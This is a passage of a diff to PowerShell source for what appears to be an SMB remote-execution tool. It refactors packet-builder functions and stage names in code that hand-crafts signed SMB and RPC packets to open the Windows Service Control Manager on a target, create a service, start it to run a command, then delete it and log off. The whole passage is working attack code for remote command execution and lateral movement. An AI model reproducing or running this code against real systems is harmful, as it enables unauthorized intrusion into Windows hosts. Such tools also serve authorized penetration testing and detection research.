+ $client_stream.Write($client_send,0,$client_send.Length) > $null
+ $client_stream.Flush()
+ $client_stream.Read($client_receive,0,$client_receive.Length) > $null
if($SMB_split_stage -ge $SMB_split_stage_final)
{
- $SMB_client_stage = 'CreateServiceW_Last'
+ $stage = 'CreateServiceW_Last'
}
else
{
- $SMB_client_stage = 'CreateServiceW_Middle'
+ $stage = 'CreateServiceW_Middle'
}
}
'CreateServiceW_Last'
{
- $packet_SMB_header = Get-PacketSMBHeader 0x2f 0x18 0x05,0x48 $SMB_tree_ID $process_ID_bytes $SMB_user_ID
+ $packet_SMB_header = New-PacketSMBHeader 0x2f 0x18 0x05,0x48 $SMB_tree_ID $process_ID $SMB_user_ID
if($SMB_signing)
{
- $packet_SMB_header["SMBHeader_Flags2"] = 0x05,0x48
+ $packet_SMB_header["Flags2"] = 0x05,0x48
$SMB_signing_counter = $SMB_signing_counter + 2
[Byte[]]$SMB_signing_sequence = [System.BitConverter]::GetBytes($SMB_signing_counter) + 0x00,0x00,0x00,0x00
- $packet_SMB_header["SMBHeader_Signature"] = $SMB_signing_sequence
+ $packet_SMB_header["Signature"] = $SMB_signing_sequence
}
$SCM_data_last = $SCM_data[$SMB_split_index_tracker..$SCM_data.Length]
- $packet_RPC_data = Get-PacketRPCRequest 0x02 0 0 0 0x02,0x00,0x00,0x00 0x00,0x00 0x0c,0x00 $SCM_data_last
+ $packet_RPC_data = New-PacketRPCRequest 0x02 0 0 0 0x02,0x00,0x00,0x00 0x00,0x00 0x0c,0x00 $SCM_data_last
$RPC_data = ConvertFrom-PacketOrderedDictionary $packet_RPC_data
$SMB_header = ConvertFrom-PacketOrderedDictionary $packet_SMB_header
- $packet_SMB_data = Get-PacketSMBWriteAndXRequest $SMB_FID $RPC_data.Length
+ $packet_SMB_data = New-PacketSMBWriteAndXRequest $SMB_FID $RPC_data.Length
$SMB_data = ConvertFrom-PacketOrderedDictionary $packet_SMB_data
$RPC_data_length = $SMB_data.Length + $RPC_data.Length
- $packet_NetBIOS_session_service = Get-PacketNetBIOSSessionService $SMB_header.Length $RPC_data_length
+ $packet_NetBIOS_session_service = New-PacketNetBIOSSessionService $SMB_header.Length $RPC_data_length
$NetBIOS_session_service = ConvertFrom-PacketOrderedDictionary $packet_NetBIOS_session_service
if($SMB_signing)
@@ -1610,108 +1765,49 @@ if($SMB_client.Connected)
$SMB_sign = $session_key + $SMB_header + $SMB_data + $RPC_data
$SMB_signature = $MD5.ComputeHash($SMB_sign)
$SMB_signature = $SMB_signature[0..7]
- $packet_SMB_header["SMBHeader_Signature"] = $SMB_signature
+ $packet_SMB_header["Signature"] = $SMB_signature
$SMB_header = ConvertFrom-PacketOrderedDictionary $packet_SMB_header
}
- $SMB_client_send = $NetBIOS_session_service + $SMB_header + $SMB_data + $RPC_data
- $SMB_client_stream.Write($SMB_client_send,0,$SMB_client_send.Length) > $null
- $SMB_client_stream.Flush()
- $SMB_client_stream.Read($SMB_client_receive,0,$SMB_client_receive.Length) > $null
- $SMB_client_stage = 'ReadAndXRequest'
- $SMB_client_stage_next = 'StartServiceW'
+ $client_send = $NetBIOS_session_service + $SMB_header + $SMB_data + $RPC_data
+ $client_stream.Write($client_send,0,$client_send.Length) > $null
+ $client_stream.Flush()
+ $client_stream.Read($client_receive,0,$client_receive.Length) > $null
+ $stage = 'ReadAndXRequest'
+ $stage_next = 'StartServiceW'
}
- 'StartServiceW'
- {
-
- if([System.BitConverter]::ToString($SMB_client_receive[112..115]) -eq '00-00-00-00')
- {
- Write-Verbose "Service $SMB_service created on $Target"
- $SMB_service_context_handle = $SMB_client_receive[92..111]
- $packet_SMB_header = Get-PacketSMBHeader 0x2f 0x18 0x05,0x28 $SMB_tree_ID $process_ID_bytes $SMB_user_ID
-
- if($SMB_signing)
- {
- $packet_SMB_header["SMBHeader_Flags2"] = 0x05,0x48
- $SMB_signing_counter = $SMB_signing_counter + 2
- [Byte[]]$SMB_signing_sequence = [System.BitConverter]::GetBytes($SMB_signing_counter) + 0x00,0x00,0x00,0x00
- $packet_SMB_header["SMBHeader_Signature"] = $SMB_signing_sequence
- }
-
- $packet_SCM_data = Get-PacketSCMStartServiceW $SMB_service_context_handle
- $SCM_data = ConvertFrom-PacketOrderedDictionary $packet_SCM_data
- $packet_RPC_data = Get-PacketRPCRequest 0x03 $SCM_data.Length 0 0 0x03,0x00,0x00,0x00 0x00,0x00 0x13,0x00
- $RPC_data = ConvertFrom-PacketOrderedDictionary $packet_RPC_data
- $SMB_header = ConvertFrom-PacketOrderedDictionary $packet_SMB_header
- $packet_SMB_data = Get-PacketSMBWriteAndXRequest $SMB_FID ($RPC_data.Length + $SCM_data.Length)
- $SMB_data = ConvertFrom-PacketOrderedDictionary $packet_SMB_data
-
- $RPC_data_length = $SMB_data.Length + $SCM_data.Length + $RPC_data.Length
- $packet_NetBIOS_session_service = Get-PacketNetBIOSSessionService $SMB_header.Length $RPC_data_length
- $NetBIOS_session_service = ConvertFrom-PacketOrderedDictionary $packet_NetBIOS_session_service
-
- if($SMB_signing)
- {
- $SMB_sign = $session_key + $SMB_header + $SMB_data + $RPC_data + $SCM_data
- $SMB_signature = $MD5.ComputeHash($SMB_sign)
- $SMB_signature = $SMB_signature[0..7]
- $packet_SMB_header["SMBHeader_Signature"] = $SMB_signature
- $SMB_header = ConvertFrom-PacketOrderedDictionary $packet_SMB_header
- }
-
- $SMB_client_send = $NetBIOS_session_service + $SMB_header + $SMB_data + $RPC_data + $SCM_data
- Write-Verbose "Trying to execute command on $Target"
- $SMB_client_stream.Write($SMB_client_send,0,$SMB_client_send.Length) > $null
- $SMB_client_stream.Flush()
- $SMB_client_stream.Read($SMB_client_receive,0,$SMB_client_receive.Length) > $null
- $SMB_client_stage = 'ReadAndXRequest'
- $SMB_client_stage_next = 'DeleteServiceW'
- }
- elseif([System.BitConverter]::ToString($SMB_client_receive[112..115]) -eq '31-04-00-00')
- {
- Write-Output "Service $SMB_service creation failed on $Target"
- $SMBExec_failed = $true
- }
- else
- {
- Write-Output "Service creation fault context mismatch"
- $SMBExec_failed = $true
- }
-
- }
-
'DeleteServiceW'
{
- if([System.BitConverter]::ToString($SMB_client_receive[88..91]) -eq '1d-04-00-00')
+ if([System.BitConverter]::ToString($client_receive[88..91]) -eq '1d-04-00-00')
{
- Write-Output "Command executed with service $SMB_service on $Target"
+ Write-Output "[+] Command executed with service $SMB_service on $Target"
}
- elseif([System.BitConverter]::ToString($SMB_client_receive[88..91]) -eq '02-00-00-00')
+ elseif([System.BitConverter]::ToString($client_receive[88..91]) -eq '02-00-00-00')
{
- Write-Output "Service $SMB_service failed to start on $Target"
+ Write-Output "[-] Service $SMB_service failed to start on $Target"
}
- $packet_SMB_header = Get-PacketSMBHeader 0x2f 0x18 0x05,0x28 $SMB_tree_ID $process_ID_bytes $SMB_user_ID
+ $packet_SMB_header = New-PacketSMBHeader 0x2f 0x18 0x05,0x28 $SMB_tree_ID $process_ID $SMB_user_ID
if($SMB_signing)
{
- $packet_SMB_header["SMBHeader_Flags2"] = 0x05,0x48
+ $packet_SMB_header["Flags2"] = 0x05,0x48
$SMB_signing_counter = $SMB_signing_counter + 2
[Byte[]]$SMB_signing_sequence = [System.BitConverter]::GetBytes($SMB_signing_counter) + 0x00,0x00,0x00,0x00
- $packet_SMB_header["SMBHeader_Signature"] = $SMB_signing_sequence
+ $packet_SMB_header["Signature"] = $SMB_signing_sequence
}
- $packet_SCM_data = Get-PacketSCMDeleteServiceW $SMB_service_context_handle
+ $packet_SCM_data = New-PacketSCMDeleteServiceW $SMB_service_context_handle
$SCM_data = ConvertFrom-PacketOrderedDictionary $packet_SCM_data
- $packet_RPC_data = Get-PacketRPCRequest 0x03 $SCM_data.Length 0 0 0x04,0x00,0x00,0x00 0x00,0x00 0x02,0x00
+ $packet_RPC_data = New-PacketRPCRequest 0x03 $SCM_data.Length 0 0 0x04,0x00,0x00,0x00 0x00,0x00 0x02,0x00
$RPC_data = ConvertFrom-PacketOrderedDictionary $packet_RPC_data
$SMB_header = ConvertFrom-PacketOrderedDictionary $packet_SMB_header
- $packet_SMB_data = Get-PacketSMBWriteAndXRequest $SMB_FID ($RPC_data.Length + $SCM_data.Length)
+ $packet_SMB_data = New-PacketSMBWriteAndXRequest $SMB_FID ($RPC_data.Length + $SCM_data.Length)
$SMB_data = ConvertFrom-PacketOrderedDictionary $packet_SMB_data
$RPC_data_length = $SMB_data.Length + $SCM_data.Length + $RPC_data.Length
- $packet_NetBIOS_session_service = Get-PacketNetBIOSSessionService $SMB_header.Length $RPC_data_length
+ $packet_NetBIOS_session_service = New-PacketNetBIOSSessionService $SMB_header.Length $RPC_data_length
$NetBIOS_session_service = ConvertFrom-PacketOrderedDictionary $packet_NetBIOS_session_service
if($SMB_signing)
@@ -1719,118 +1815,111 @@ if($SMB_client.Connected)
$SMB_sign = $session_key + $SMB_header + $SMB_data + $RPC_data + $SCM_data
$SMB_signature = $MD5.ComputeHash($SMB_sign)
$SMB_signature = $SMB_signature[0..7]
- $packet_SMB_header["SMBHeader_Signature"] = $SMB_signature
+ $packet_SMB_header["Signature"] = $SMB_signature
$SMB_header = ConvertFrom-PacketOrderedDictionary $packet_SMB_header
}
- $SMB_client_send = $NetBIOS_session_service + $SMB_header + $SMB_data + $RPC_data + $SCM_data
+ $client_send = $NetBIOS_session_service + $SMB_header + $SMB_data + $RPC_data + $SCM_data
- $SMB_client_stream.Write($SMB_client_send,0,$SMB_client_send.Length) > $null
- $SMB_client_stream.Flush()
- $SMB_client_stream.Read($SMB_client_receive,0,$SMB_client_receive.Length) > $null
- $SMB_client_stage = 'ReadAndXRequest'
- $SMB_client_stage_next = 'CloseServiceHandle'
+ $client_stream.Write($client_send,0,$client_send.Length) > $null
+ $client_stream.Flush()
+ $client_stream.Read($client_receive,0,$client_receive.Length) > $null
+ $stage = 'ReadAndXRequest'
+ $stage_next = 'CloseServiceHandle'
$SMB_close_service_handle_stage = 1
}
- 'CloseServiceHandle'
+ 'Logoff'
{
- if($SMB_close_service_handle_stage -eq 1)
- {
- Write-Verbose "Service $SMB_service deleted on $Target"
- $SMB_close_service_handle_stage++
- $packet_SCM_data = Get-PacketSCMCloseServiceHandle $SMB_service_context_handle
- }
- else
- {
- $SMB_client_stage = 'CloseRequest'
- $packet_SCM_data = Get-PacketSCMCloseServiceHandle $SMB_service_manager_context_handle
- }
- $packet_SMB_header = Get-PacketSMBHeader 0x2f 0x18 0x05,0x28 $SMB_tree_ID $process_ID_bytes $SMB_user_ID
+ $packet_SMB_header = New-PacketSMBHeader 0x74 0x18 0x07,0xc8 0x34,0xfe $process_ID $SMB_user_ID
if($SMB_signing)
{
- $packet_SMB_header["SMBHeader_Flags2"] = 0x05,0x48
+ $packet_SMB_header["Flags2"] = 0x05,0x48
$SMB_signing_counter = $SMB_signing_counter + 2
[Byte[]]$SMB_signing_sequence = [System.BitConverter]::GetBytes($SMB_signing_counter) + 0x00,0x00,0x00,0x00
- $packet_SMB_header["SMBHeader_Signature"] = $SMB_signing_sequence
+ $packet_SMB_header["Signature"] = $SMB_signing_sequence
}
- $SCM_data = ConvertFrom-PacketOrderedDictionary $packet_SCM_data
- $packet_RPC_data = Get-PacketRPCRequest 0x03 $SCM_data.Length 0 0 0x05,0x00,0x00,0x00 0x00,0x00 0x00,0x00
- $RPC_data = ConvertFrom-PacketOrderedDictionary $packet_RPC_data
$SMB_header = ConvertFrom-PacketOrderedDictionary $packet_SMB_header
- $packet_SMB_data = Get-PacketSMBWriteAndXRequest $SMB_FID ($RPC_data.Length + $SCM_data.Length)
+ $packet_SMB_data = New-PacketSMBLogoffAndXRequest
$SMB_data = ConvertFrom-PacketOrderedDictionary $packet_SMB_data
- $RPC_data_length = $SMB_data.Length + $SCM_data.Length + $RPC_data.Length
- $packet_NetBIOS_session_service = Get-PacketNetBIOSSessionService $SMB_header.Length $RPC_data_length
+ $packet_NetBIOS_session_service = New-PacketNetBIOSSessionService $SMB_header.Length $SMB_data.Length
$NetBIOS_session_service = ConvertFrom-PacketOrderedDictionary $packet_NetBIOS_session_service
if($SMB_signing)
{
- $SMB_sign = $session_key + $SMB_header + $SMB_data + $RPC_data + $SCM_data
+ $SMB_sign = $session_key + $SMB_header + $SMB_data
$SMB_signature = $MD5.ComputeHash($SMB_sign)
$SMB_signature = $SMB_signature[0..7]
- $packet_SMB_header["SMBHeader_Signature"] = $SMB_signature
+ $packet_SMB_header["Signature"] = $SMB_signature
$SMB_header = ConvertFrom-PacketOrderedDictionary $packet_SMB_header
}
- $SMB_client_send = $NetBIOS_session_service + $SMB_header + $SMB_data + $RPC_data + $SCM_data
- $SMB_client_stream.Write($SMB_client_send,0,$SMB_client_send.Length) > $null
- $SMB_client_stream.Flush()
- $SMB_client_stream.Read($SMB_client_receive,0,$SMB_client_receive.Length) > $null
+ $client_send = $NetBIOS_session_service + $SMB_header + $SMB_data
+ $client_stream.Write($client_send,0,$client_send.Length) > $null
+ $client_stream.Flush()
+ $client_stream.Read($client_receive,0,$client_receive.Length) > $null
+ $stage = 'Exit'
}
- 'CloseRequest'
+ 'OpenSCManagerW'
{
- $packet_SMB_header = Get-PacketSMBHeader 0x04 0x18 0x07,0xc8 $SMB_tree_ID $process_ID_bytes $SMB_user_ID
+ $packet_SMB_header = New-PacketSMBHeader 0x2f 0x18 0x05,0x28 $SMB_tree_ID $process_ID $SMB_user_ID
if($SMB_signing)
{
- $packet_SMB_header["SMBHeader_Flags2"] = 0x05,0x48
- $SMB_signing_counter = $SMB_signing_counter + 2
+ $packet_SMB_header["Flags2"] = 0x05,0x48
+ $SMB_signing_counter = $SMB_signing_counter + 2
[Byte[]]$SMB_signing_sequence = [System.BitConverter]::GetBytes($SMB_signing_counter) + 0x00,0x00,0x00,0x00
- $packet_SMB_header["SMBHeader_Signature"] = $SMB_signing_sequence
+ $packet_SMB_header["Signature"] = $SMB_signing_sequence
}
+ $packet_SCM_data = New-PacketSCMOpenSCManagerW $SMB_service_bytes $SMB_service_length
+ $SCM_data = ConvertFrom-PacketOrderedDictionary $packet_SCM_data
+ $packet_RPC_data = New-PacketRPCRequest 0x03 $SCM_data.Length 0 0 0x01,0x00,0x00,0x00 0x00,0x00 0x0f,0x00
+ $RPC_data = ConvertFrom-PacketOrderedDictionary $packet_RPC_data
$SMB_header = ConvertFrom-PacketOrderedDictionary $packet_SMB_header
- $packet_SMB_data = Get-PacketSMBCloseRequest 0x00,0x40
- $SMB_data = ConvertFrom-PacketOrderedDictionary $packet_SMB_data
- $packet_NetBIOS_session_service = Get-PacketNetBIOSSessionService $SMB_header.Length $SMB_data.Length
+ $packet_SMB_data = New-PacketSMBWriteAndXRequest $SMB_FID ($RPC_data.Length + $SCM_data.Length)
+ $SMB_data = ConvertFrom-PacketOrderedDictionary $packet_SMB_data
+ $RPC_data_length = $SMB_data.Length + $SCM_data.Length + $RPC_data.Length
+ $packet_NetBIOS_session_service = New-PacketNetBIOSSessionService $SMB_header.Length $RPC_data_length
$NetBIOS_session_service = ConvertFrom-PacketOrderedDictionary $packet_NetBIOS_session_service
if($SMB_signing)
{
- $SMB_sign = $session_key + $SMB_header + $SMB_data
+ $SMB_sign = $session_key + $SMB_header + $SMB_data + $RPC_data + $SCM_data
$SMB_signature = $MD5.ComputeHash($SMB_sign)
$SMB_signature = $SMB_signature[0..7]
- $packet_SMB_header["SMBHeader_Signature"] = $SMB_signature
+ $packet_SMB_header["Signature"] = $SMB_signature
$SMB_header = ConvertFrom-PacketOrderedDictionary $packet_SMB_header
}
- $SMB_client_send = $NetBIOS_session_service + $SMB_header + $SMB_data
- $SMB_client_stream.Write($SMB_client_send,0,$SMB_client_send.Length) > $null
- $SMB_client_stream.Flush()
- $SMB_client_stream.Read($SMB_client_receive,0,$SMB_client_receive.Length) > $null
- $SMB_client_stage = 'TreeDisconnect'
+ $client_send = $NetBIOS_session_service + $SMB_header + $SMB_data + $RPC_data + $SCM_data
+ $client_stream.Write($client_send,0,$client_send.Length) > $null
+ $client_stream.Flush()
+ $client_stream.Read($client_receive,0,$client_receive.Length) > $null
+ $stage = 'ReadAndXRequest'
+ $stage_next = 'CheckAccess'
}
- 'TreeDisconnect'
+ 'ReadAndXRequest'
{
- $packet_SMB_header = Get-PacketSMBHeader 0x71 0x18 0x07,0xc8 $SMB_tree_ID $process_ID_bytes $SMB_user_ID
+ Start-Sleep -m $Sleep
+ $packet_SMB_header = New-PacketSMBHeader 0x2e 0x18 0x05,0x28 $SMB_tree_ID $process_ID $SMB_user_ID
if($SMB_signing)
{
- $packet_SMB_header["SMBHeader_Flags2"] = 0x05,0x48
- $SMB_signing_counter = $SMB_signing_counter + 2
+ $packet_SMB_header["Flags2"] = 0x05,0x48
+ $SMB_signing_counter = $SMB_signing_counter + 2
[Byte[]]$SMB_signing_sequence = [System.BitConverter]::GetBytes($SMB_signing_counter) + 0x00,0x00,0x00,0x00
- $packet_SMB_header["SMBHeader_Signature"] = $SMB_signing_sequence
+ $packet_SMB_header["Signature"] = $SMB_signing_sequence
}
$SMB_header = ConvertFrom-PacketOrderedDictionary $packet_SMB_header
- $packet_SMB_data = Get-PacketSMBTreeDisconnectRequest
+ $packet_SMB_data = New-PacketSMBReadAndXRequest $SMB_FID
$SMB_data = ConvertFrom-PacketOrderedDictionary $packet_SMB_data
- $packet_NetBIOS_session_service = Get-PacketNetBIOSSessionService $SMB_header.Length $SMB_data.Length
+ $packet_NetBIOS_session_service = New-PacketNetBIOSSessionService $SMB_header.Length $SMB_data.Length
$NetBIOS_session_service = ConvertFrom-PacketOrderedDictionary $packet_NetBIOS_session_service
if($SMB_signing)
@@ -1838,342 +1927,396 @@ if($SMB_client.Connected)
$SMB_sign = $session_key + $SMB_header + $SMB_data
$SMB_signature = $MD5.ComputeHash($SMB_sign)
$SMB_signature = $SMB_signature[0..7]
- $packet_SMB_header["SMBHeader_Signature"] = $SMB_signature
+ $packet_SMB_header["Signature"] = $SMB_signature
$SMB_header = ConvertFrom-PacketOrderedDictionary $packet_SMB_header
}
- $SMB_client_send = $NetBIOS_session_service + $SMB_header + $SMB_data
- $SMB_client_stream.Write($SMB_client_send,0,$SMB_client_send.Length) > $null
- $SMB_client_stream.Flush()
- $SMB_client_stream.Read($SMB_client_receive,0,$SMB_client_receive.Length) > $null
- $SMB_client_stage = 'Logoff'
+ $client_send = $NetBIOS_session_service + $SMB_header + $SMB_data
+ $client_stream.Write($client_send,0,$client_send.Length) > $null
+ $client_stream.Flush()
+ $client_stream.Read($client_receive,0,$client_receive.Length) > $null
+ $stage = $stage_next
}
- 'Logoff'
+ 'RPCBind'
{
- $packet_SMB_header = Get-PacketSMBHeader 0x74 0x18 0x07,0xc8 0x34,0xfe $process_ID_bytes $SMB_user_ID
+ $SMB_FID = $client_receive[42,43]
+ $packet_SMB_header = New-PacketSMBHeader 0x2f 0x18 0x05,0x28 $SMB_tree_ID $process_ID $SMB_user_ID
if($SMB_signing)
{
- $packet_SMB_header["SMBHeader_Flags2"] = 0x05,0x48
+ $packet_SMB_header["Flags2"] = 0x05,0x48
$SMB_signing_counter = $SMB_signing_counter + 2
[Byte[]]$SMB_signing_sequence = [System.BitConverter]::GetBytes($SMB_signing_counter) + 0x00,0x00,0x00,0x00
- $packet_SMB_header["SMBHeader_Signature"] = $SMB_signing_sequence
+ $packet_SMB_header["Signature"] = $SMB_signing_sequence
}
- $SMB_header = ConvertFrom-PacketOrderedDictionary $packet_SMB_header
- $packet_SMB_data = Get-PacketSMBLogoffAndXRequest
+ $SMB_header = ConvertFrom-PacketOrderedDictionary $packet_SMB_header
+ $packet_RPC_data = New-PacketRPCBind 0x48,0x00 1 0x01 0x00,0x00 $named_pipe_UUID 0x02,0x00
+ $RPC_data = ConvertFrom-PacketOrderedDictionary $packet_RPC_data
+ $packet_SMB_data = New-PacketSMBWriteAndXRequest $SMB_FID $RPC_data.Length
$SMB_data = ConvertFrom-PacketOrderedDictionary $packet_SMB_data
- $packet_NetBIOS_session_service = Get-PacketNetBIOSSessionService $SMB_header.Length $SMB_data.Length
+ $RPC_data_length = $SMB_data.Length + $RPC_data.Length
+ $packet_NetBIOS_session_service = New-PacketNetBIOSSessionService $SMB_header.Length $RPC_data_Length
$NetBIOS_session_service = ConvertFrom-PacketOrderedDictionary $packet_NetBIOS_session_service
if($SMB_signing)
{
- $SMB_sign = $session_key + $SMB_header + $SMB_data
+ $SMB_sign = $session_key + $SMB_header + $SMB_data + $RPC_data
$SMB_signature = $MD5.ComputeHash($SMB_sign)
$SMB_signature = $SMB_signature[0..7]
- $packet_SMB_header["SMBHeader_Signature"] = $SMB_signature
+ $packet_SMB_header["Signature"] = $SMB_signature
$SMB_header = ConvertFrom-PacketOrderedDictionary $packet_SMB_header
}
- $SMB_client_send = $NetBIOS_session_service + $SMB_header + $SMB_data
- $SMB_client_stream.Write($SMB_client_send,0,$SMB_client_send.Length) > $null
- $SMB_client_stream.Flush()
- $SMB_client_stream.Read($SMB_client_receive,0,$SMB_client_receive.Length) > $null
- $SMB_client_stage = 'Exit'
+ $client_send = $NetBIOS_session_service + $SMB_header + $SMB_data + $RPC_data
+ $client_stream.Write($client_send,0,$client_send.Length) > $null
+ $client_stream.Flush()
+ $client_stream.Read($client_receive,0,$client_receive.Length) > $null
+ $stage = 'ReadAndXRequest'
+ $stage_next = 'OpenSCManagerW'
}
+
+ 'StartServiceW'
+ {
+
+ if([System.BitConverter]::ToString($client_receive[112..115]) -eq '00-00-00-00')
+ {
+ Write-Verbose "Service $SMB_service created on $Target"
+ $SMB_service_context_handle = $client_receive[92..111]
+ $packet_SMB_header = New-PacketSMBHeader 0x2f 0x18 0x05,0x28 $SMB_tree_ID $process_ID $SMB_user_ID
- }
-
- if($SMBExec_failed)
- {
- BREAK SMB_execute_loop
- }
-
- }
-
- }
- else
- {
-
- $SMB_client_stage = 'TreeConnect'
+ if($SMB_signing)
+ {
+ $packet_SMB_header["Flags2"] = 0x05,0x48
+ $SMB_signing_counter = $SMB_signing_counter + 2
+ [Byte[]]$SMB_signing_sequence = [System.BitConverter]::GetBytes($SMB_signing_counter) + 0x00,0x00,0x00,0x00
+ $packet_SMB_header["Signature"] = $SMB_signing_sequence
+ }
- :SMB_execute_loop while ($SMB_client_stage -ne 'exit')
- {
+ $packet_SCM_data = New-PacketSCMStartServiceW $SMB_service_context_handle
+ $SCM_data = ConvertFrom-PacketOrderedDictionary $packet_SCM_data
+ $packet_RPC_data = New-PacketRPCRequest 0x03 $SCM_data.Length 0 0 0x03,0x00,0x00,0x00 0x00,0x00 0x13,0x00
+ $RPC_data = ConvertFrom-PacketOrderedDictionary $packet_RPC_data
+ $SMB_header = ConvertFrom-PacketOrderedDictionary $packet_SMB_header
+ $packet_SMB_data = New-PacketSMBWriteAndXRequest $SMB_FID ($RPC_data.Length + $SCM_data.Length)
+ $SMB_data = ConvertFrom-PacketOrderedDictionary $packet_SMB_data
+
+ $RPC_data_length = $SMB_data.Length + $SCM_data.Length + $RPC_data.Length
+ $packet_NetBIOS_session_service = New-PacketNetBIOSSessionService $SMB_header.Length $RPC_data_length
+ $NetBIOS_session_service = ConvertFrom-PacketOrderedDictionary $packet_NetBIOS_session_service
- switch ($SMB_client_stage)
- {
-
- 'TreeConnect'
- {
- $SMB2_message_ID++
- $packet_SMB2_header = Get-PacketSMB2Header 0x03,0x00 $SMB2_message_ID $SMB2_tree_ID $SMB_session_ID
- $packet_SMB2_header["SMB2Header_CreditRequest"] = 0x7f,0x00
+ if($SMB_signing)
+ {
+ $SMB_sign = $session_key + $SMB_header + $SMB_data + $RPC_data + $SCM_data
+ $SMB_signature = $MD5.ComputeHash($SMB_sign)
+ $SMB_signature = $SMB_signature[0..7]
+ $packet_SMB_header["Signature"] = $SMB_signature
+ $SMB_header = ConvertFrom-PacketOrderedDictionary $packet_SMB_header
+ }
- if($SMB_signing)
+ $client_send = $NetBIOS_session_service + $SMB_header + $SMB_data + $RPC_data + $SCM_data
+ Write-Verbose "[*] Trying to execute command on $Target"
+ $client_stream.Write($client_send,0,$client_send.Length) > $null
+ $client_stream.Flush()
+ $client_stream.Read($client_receive,0,$client_receive.Length) > $null
+ $stage = 'ReadAndXRequest'
+ $stage_next = 'DeleteServiceW'
+ }
+ elseif([System.BitConverter]::ToString($client_receive[112..115]) -eq '31-04-00-00')
{
- $packet_SMB2_header["SMB2Header_Flags"] = 0x08,0x00,0x00,0x00
+ Write-Output "[-] Service $SMB_service creation failed on $Target"
+ $stage = 'Exit'
}
-
- $packet_SMB2_data = Get-PacketSMB2TreeConnectRequest $SMB_path_bytes
- $SMB2_header = ConvertFrom-PacketOrderedDictionary $packet_SMB2_header
- $SMB2_data = ConvertFrom-PacketOrderedDictionary $packet_SMB2_data
- $packet_NetBIOS_session_service = Get-PacketNetBIOSSessionService $SMB2_header.Length $SMB2_data.Length
- $NetBIOS_session_service = ConvertFrom-PacketOrderedDictionary $packet_NetBIOS_session_service
-
- if($SMB_signing)
+ else
{
- $SMB2_sign = $SMB2_header + $SMB2_data
- $SMB2_signature = $HMAC_SHA256.ComputeHash($SMB2_sign)
- $SMB2_signature = $SMB2_signature[0..15]
- $packet_SMB2_header["SMB2Header_Signature"] = $SMB2_signature
- $SMB2_header = ConvertFrom-PacketOrderedDictionary $packet_SMB2_header
+ Write-Output "[-] Service creation fault context mismatch"
+ $stage = 'Exit'
}
-
- $SMB_client_send = $NetBIOS_session_service + $SMB2_header + $SMB2_data
- $SMB_client_stream.Write($SMB_client_send,0,$SMB_client_send.Length) > $null
- $SMB_client_stream.Flush()
- $SMB_client_stream.Read($SMB_client_receive,0,$SMB_client_receive.Length) > $null
- $SMB_client_stage = 'CreateRequest'
+
}
-
- 'CreateRequest'
+
+ 'TreeConnectAndXRequest'
{
- $SMB2_tree_ID = 0x01,0x00,0x00,0x00
- $SMB_named_pipe_bytes = 0x73,0x00,0x76,0x00,0x63,0x00,0x63,0x00,0x74,0x00,0x6c,0x00 # \svcctl
- $SMB2_message_ID++
- $packet_SMB2_header = Get-PacketSMB2Header 0x05,0x00 $SMB2_message_ID $SMB2_tree_ID $SMB_session_ID
- $packet_SMB2_header["SMB2Header_CreditRequest"] = 0x7f,0x00
-
+ $packet_SMB_header = New-PacketSMBHeader 0x75 0x18 0x01,0x48 0xff,0xff $process_ID $SMB_user_ID
+
if($SMB_signing)
{
- $packet_SMB2_header["SMB2Header_Flags"] = 0x08,0x00,0x00,0x00
+ $MD5 = New-Object -TypeName System.Security.Cryptography.MD5CryptoServiceProvider
+ $packet_SMB_header["Flags2"] = 0x05,0x48
+ $SMB_signing_counter = 2
+ [Byte[]]$SMB_signing_sequence = [System.BitConverter]::GetBytes($SMB_signing_counter) + 0x00,0x00,0x00,0x00
+ $packet_SMB_header["Signature"] = $SMB_signing_sequence
}
- $packet_SMB2_data = Get-PacketSMB2CreateRequestFile $SMB_named_pipe_bytes
- $packet_SMB2_data["SMB2CreateRequestFile_Share_Access"] = 0x07,0x00,0x00,0x00
- $SMB2_header = ConvertFrom-PacketOrderedDictionary $packet_SMB2_header
- $SMB2_data = ConvertFrom-PacketOrderedDictionary $packet_SMB2_data
- $packet_NetBIOS_session_service = Get-PacketNetBIOSSessionService $SMB2_header.Length $SMB2_data.Length
+ $SMB_header = ConvertFrom-PacketOrderedDictionary $packet_SMB_header
+ $packet_SMB_data = New-PacketSMBTreeConnectAndXRequest $SMB_path_bytes
+ $SMB_data = ConvertFrom-PacketOrderedDictionary $packet_SMB_data
+ $packet_NetBIOS_session_service = New-PacketNetBIOSSessionService $SMB_header.Length $SMB_data.Length
$NetBIOS_session_service = ConvertFrom-PacketOrderedDictionary $packet_NetBIOS_session_service
if($SMB_signing)
{
- $SMB2_sign = $SMB2_header + $SMB2_data
- $SMB2_signature = $HMAC_SHA256.ComputeHash($SMB2_sign)
- $SMB2_signature = $SMB2_signature[0..15]
- $packet_SMB2_header["SMB2Header_Signature"] = $SMB2_signature
- $SMB2_header = ConvertFrom-PacketOrderedDictionary $packet_SMB2_header
+ $SMB_sign = $session_key + $SMB_header + $SMB_data
+ $SMB_signature = $MD5.ComputeHash($SMB_sign)
+ $SMB_signature = $SMB_signature[0..7]
+ $packet_SMB_header["Signature"] = $SMB_signature
+ $SMB_header = ConvertFrom-PacketOrderedDictionary $packet_SMB_header
}
- $SMB_client_send = $NetBIOS_session_service + $SMB2_header + $SMB2_data
- $SMB_client_stream.Write($SMB_client_send,0,$SMB_client_send.Length) > $null
- $SMB_client_stream.Flush()
- $SMB_client_stream.Read($SMB_client_receive,0,$SMB_client_receive.Length) > $null
- $SMB_client_stage = 'RPCBind'
+ $client_send = $NetBIOS_session_service + $SMB_header + $SMB_data
+ $client_stream.Write($client_send,0,$client_send.Length) > $null
+ $client_stream.Flush()
+ $client_stream.Read($client_receive,0,$client_receive.Length) > $null
+ $stage = 'CreateAndXRequest'
}
-
- 'RPCBind'
+
+ 'TreeDisconnect'
{
- $SMB_named_pipe_bytes = 0x73,0x00,0x76,0x00,0x63,0x00,0x63,0x00,0x74,0x00,0x6c,0x00 # \svcctl
- $SMB_file_ID = $SMB_client_receive[132..147]
- $SMB2_message_ID++
- $packet_SMB2_header = Get-PacketSMB2Header 0x09,0x00 $SMB2_message_ID $SMB2_tree_ID $SMB_session_ID
- $packet_SMB2_header["SMB2Header_CreditRequest"] = 0x7f,0x00
-
+ $packet_SMB_header = New-PacketSMBHeader 0x71 0x18 0x07,0xc8 $SMB_tree_ID $process_ID $SMB_user_ID
+
if($SMB_signing)
{
- $packet_SMB2_header["SMB2Header_Flags"] = 0x08,0x00,0x00,0x00
+ $packet_SMB_header["Flags2"] = 0x05,0x48
+ $SMB_signing_counter = $SMB_signing_counter + 2
